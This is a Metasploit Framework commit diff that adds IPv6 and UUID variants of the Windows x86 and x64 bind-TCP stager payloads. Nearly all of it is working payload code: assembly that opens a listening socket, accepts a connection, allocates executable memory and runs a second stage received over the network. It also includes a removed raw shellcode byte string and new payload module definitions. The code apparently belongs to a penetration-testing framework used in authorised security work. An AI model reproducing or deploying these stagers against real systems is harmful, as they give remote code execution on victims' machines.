Implement the IPv6 UUID bind stagers

bug/bundler_fix
OJ 2015-05-25 11:21:28 +10:00
parent c07ff70f19
commit 9042f141ff
10 changed files with 278 additions and 85 deletions

View File

@ -54,6 +54,13 @@ module Payload::Windows::BindTcp
transport_config_bind_tcp(opts)
end
#
# Don't use IPv6 by default, this can be overridden by other payloads
#
def use_ipv6
false
end
#
# Generate and compile the stager
#
@ -84,6 +91,8 @@ module Payload::Windows::BindTcp
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
@ -97,8 +106,16 @@ module Payload::Windows::BindTcp
#
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
reliable = opts[:reliable]
addr_fam = 2
sockaddr_size = 16
if use_ipv6
addr_fam = 23
sockaddr_size = 28
end
encoded_port = "0x%.8x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
asm = %Q^
; Input: EBP must be the address of 'api_call'.
@ -109,42 +126,41 @@ module Payload::Windows::BindTcp
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call ebp ; WSAStartup( 0x0190, &WSAData );
push 8
push 11
pop ecx
push_8_loop:
push eax ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
loop push_8_loop
push_0_loop:
push eax ; if we succeed, eax will be zero, push it enough times
; to cater for both IPv4 and IPv6
loop push_0_loop
; push zero for the flags param [8]
; push null for reserved parameter [7]
; we do not specify a WSAPROTOCOL_INFO structure [6]
; we do not specify a protocol [5]
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
push 1 ; push SOCK_STREAM
push #{addr_fam} ; push AF_INET/6
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call ebp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
; bind to 0.0.0.0, pushed earlier [4]
; bind to 0.0.0.0/[::], pushed earlier
push #{encoded_port} ; family AF_INET and port number
mov esi, esp ; save a pointer to sockaddr_in struct
push 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
push esi ; pointer to the sockaddr_in struct
push edi ; socket
push 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call ebp ; bind( s, &sockaddr_in, 16 );
^
@ -159,18 +175,18 @@ module Payload::Windows::BindTcp
asm << %Q^
; backlog, pushed earlier [3]
push edi ; socket
push 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
call ebp ; listen( s, 0 );
; we set length for the sockaddr struct to zero, pushed earlier [2]
; we dont set the optional sockaddr param, pushed earlier [1]
push edi ; listening socket
push 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
call ebp ; accept( s, 0, 0 );
push edi ; push the listening socket
xchg edi, eax ; replace the listening socket with the new connected socket for further comms
push 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call ebp ; closesocket( s );
^
@ -183,7 +199,7 @@ module Payload::Windows::BindTcp
push 4 ; length = sizeof( DWORD );
push esi ; the 4 byte buffer on the stack to hold the second stage length
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, &dwLength, 4, 0 );
^
@ -202,7 +218,7 @@ module Payload::Windows::BindTcp
push 0x1000 ; MEM_COMMIT
push esi ; push the newly recieved second stage length.
push 0 ; NULL as we dont care where the allocation is.
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
xchg ebx, eax ; ebx = our new memory address for the new stage
@ -212,7 +228,7 @@ module Payload::Windows::BindTcp
push esi ; length
push ebx ; the current address into our second stage's RWX buffer
push edi ; the saved socket
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call ebp ; recv( s, buffer, length, 0 );
^
@ -240,7 +256,7 @@ module Payload::Windows::BindTcp
else
asm << %Q^
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
call ebp
^
end

View File

@ -82,6 +82,8 @@ module Payload::Windows::ReverseTcp
# Reliability adds 10 bytes for recv error checks
space += 10
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end

View File

@ -38,6 +38,16 @@ module Payload::Windows::SendUUID
asm
end
def uuid_required_size
# Start with the number of bytes required for the instructions
space = 17
# a UUID is 16 bytes
space += 16
space
end
end
end

View File

@ -48,6 +48,10 @@ module Payload::Windows::BindTcp_x64
false
end
def use_ipv6
false
end
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
@ -84,6 +88,11 @@ module Payload::Windows::BindTcp_x64
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
#space += 14
# 2 more bytes are added for IPv6
space += 2 if use_ipv6
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end
@ -96,8 +105,18 @@ module Payload::Windows::BindTcp_x64
# @option opts [Bool] :reliable Whether or not to enable error handling code
#
def asm_bind_tcp(opts={})
reliable = opts[:reliable]
encoded_port = "0x%.16x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
reliable = opts[:reliable]
addr_fam = 2
sockaddr_size = 16
stack_alloc = 408+8+8*6+32*7
if use_ipv6
addr_fam = 23
sockaddr_size = 28
stack_alloc += 8*2 # two more rax pushes
end
encoded_port = "0x%.16x" % [opts[:port].to_i, addr_fam].pack("vn").unpack("N").first
asm = %Q^
bind_tcp:
@ -108,57 +127,80 @@ module Payload::Windows::BindTcp_x64
sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData
; structure (+8 for alignment)
mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.
mov r12, #{encoded_port}
push r12 ; bind to 0.0.0.0 family AF_INET and port 4444
xor rax, rax
^
if use_ipv6
asm << %Q^
; IPv6 requires another 12 zero-bytes for the socket structure,
; so push 16 more onto the stack
push rax
push rax
^
end
asm << %Q^
push rax ; stack alignment
push rax ; tail-end of the sockaddr_in/6 struct
mov r12, #{encoded_port}
push r12 ; bind to 0.0.0.0/[::] family AF_INET/6 and specified port
mov r12, rsp ; save pointer to sockaddr_in struct for bind call
; perform the call to LoadLibraryA...
mov rcx, r14 ; set the param for the library to load
mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
call rbp ; LoadLibraryA( "ws2_32" )
; perform the call to WSAStartup...
mov rdx, r13 ; second param is a pointer to this stuct
push 0x0101 ;
pop rcx ; set the param for the version requested
mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
call rbp ; WSAStartup( 0x0101, &WSAData );
; perform the call to WSASocketA...
push #{addr_fam} ; push AF_INET/6
pop rcx ; pop family into rcx
push rax ; if we succeed, rax wil be zero, push zero for the flags param.
push rax ; push null for reserved parameter
xor r9, r9 ; we do not specify a WSAPROTOCOL_INFO structure
xor r8, r8 ; we do not specify a protocol
inc rax ;
mov rdx, rax ; push SOCK_STREAM
inc rax ;
mov rcx, rax ; push AF_INET
mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
call rbp ; WSASocketA( AF_INET/6, SOCK_STREAM, 0, 0, 0, 0 );
mov rdi, rax ; save the socket for later
; perform the call to bind...
push 16 ;
push #{sockaddr_size}
pop r8 ; length of the sockaddr_in struct (we only set the
; first 8 bytes as the last 8 are unused)
; first 8 bytes as the rest aren't used)
mov rdx, r12 ; set the pointer to sockaddr_in struct
mov rcx, rdi ; socket
mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" )
call rbp ; bind( s, &sockaddr_in, 16 );
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} );
; perform the call to listen...
xor rdx, rdx ; backlog
mov rcx, rdi ; socket
mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')}
call rbp ; listen( s, 0 );
; perform the call to accept...
xor r8, r8 ; we set length for the sockaddr struct to zero
xor rdx, rdx ; we dont set the optional sockaddr param
mov rcx, rdi ; listening socket
mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')}
call rbp ; accept( s, 0, 0 );
; perform the call to closesocket...
mov rcx, rdi ; the listening socket to close
mov rdi, rax ; swap the new connected socket over the listening socket
mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
call rbp ; closesocket( s );
; restore RSP so we dont have any alignment issues with the next block...
add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations
add rsp, #{stack_alloc} ; cleanup the stack allocations
^
asm << asm_send_uuid if include_send_uuid
@ -172,9 +214,10 @@ module Payload::Windows::BindTcp_x64
push 4 ;
pop r8 ; length = sizeof( DWORD );
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, &dwLength, 4, 0 );
add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next
; Alloc a RWX buffer for the second stage
pop rsi ; pop off the second stage length
push 0x40 ;
@ -183,18 +226,21 @@ module Payload::Windows::BindTcp_x64
pop r8 ; MEM_COMMIT
mov rdx, rsi ; the newly recieved second stage length.
xor rcx, rcx ; NULL as we dont care where the allocation is.
mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
; Receive the second stage and execute it...
mov rbx, rax ; rbx = our new memory address for the new stage
mov r15, rax ; save the address so we can jump into it later
read_more: ;
xor r9, r9 ; flags
mov r8, rsi ; length
mov rdx, rbx ; the current address into our second stages RWX buffer
mov rcx, rdi ; the saved socket
mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
call rbp ; recv( s, buffer, length, 0 );
add rbx, rax ; buffer += bytes_received
sub rsi, rax ; length -= bytes_received
test rsi, rsi ; test length

View File

@ -90,6 +90,8 @@ module Payload::Windows::ReverseTcp_x64
# Reliability adds 10 bytes for recv error checks
space += 10
space += uuid_required_size if include_send_uuid
# The final estimated size
space
end

View File

@ -40,6 +40,16 @@ module Payload::Windows::SendUUID_x64
asm
end
def uuid_required_size
# Start with the number of bytes required for the instructions
space = 25
# a UUID is 16 bytes
space += 16
space
end
end
end

View File

@ -6,14 +6,14 @@
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/bind_tcp'
module Metasploit3
module Metasploit4
CachedSize = 285
include Msf::Payload::Stager
include Msf::Payload::Windows
include Msf::Payload::Windows::BindTcp
def self.handler_type_alias
"bind_ipv6_tcp"
@ -21,43 +21,20 @@ module Metasploit3
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind TCP Stager (IPv6)',
'Description' => 'Listen for a connection over IPv6',
'Author' => ['hdm', 'skape'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' =>
{
'LPORT' => [ 192, 'n' ],
},
# Technically this is the same as bind_tcp, but has been duplicated for
# backwards compatibility with tools that expect this payload name.
'Payload' =>
"\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
"\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
"\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
"\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
"\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
"\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
"\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
"\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" +
"\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" +
"\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" +
"\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" +
"\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" +
"\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" +
"\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3"
}
))
'Name' => 'Bind IPv6 TCP Stager (Windows x86)',
'Description' => 'Listen for an IPv6 connection (Windows x86)',
'Author' => ['hdm', 'skape', 'sf'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false }
))
end
def use_ipv6
true
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/bind_tcp'
module Metasploit4
CachedSize = 285
include Msf::Payload::Stager
include Msf::Payload::Windows::BindTcp
def self.handler_type_alias
"bind_ipv6_tcp_uuid"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Bind IPv6 TCP Stager with UUID Support (Windows x86)',
'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x86)',
'Author' => ['hdm', 'skape', 'sf'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false }
))
end
def use_ipv6
true
end
def include_send_uuid
true
end
end

View File

@ -0,0 +1,40 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/x64/bind_tcp'
module Metasploit4
CachedSize = 479
include Msf::Payload::Stager
include Msf::Payload::Windows::BindTcp_x64
def self.handler_type_alias
"bind_ipv6_tcp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 IPv6 Bind TCP Stager',
'Description' => 'Listen for an IPv6 connection (Windows x64)',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockrdi',
'Stager' => { 'RequiresMidstager' => false }
))
end
def use_ipv6
true
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
require 'msf/core/payload/windows/x64/bind_tcp'
module Metasploit4
CachedSize = 479
include Msf::Payload::Stager
include Msf::Payload::Windows::BindTcp_x64
def self.handler_type_alias
"bind_ipv6_tcp_uuid"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Windows x64 IPv6 Bind TCP Stager with UUID Support',
'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x64)',
'Author' => [ 'sf' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockrdi',
'Stager' => { 'RequiresMidstager' => false }
))
end
def use_ipv6
true
end
def include_send_uuid
true
end
end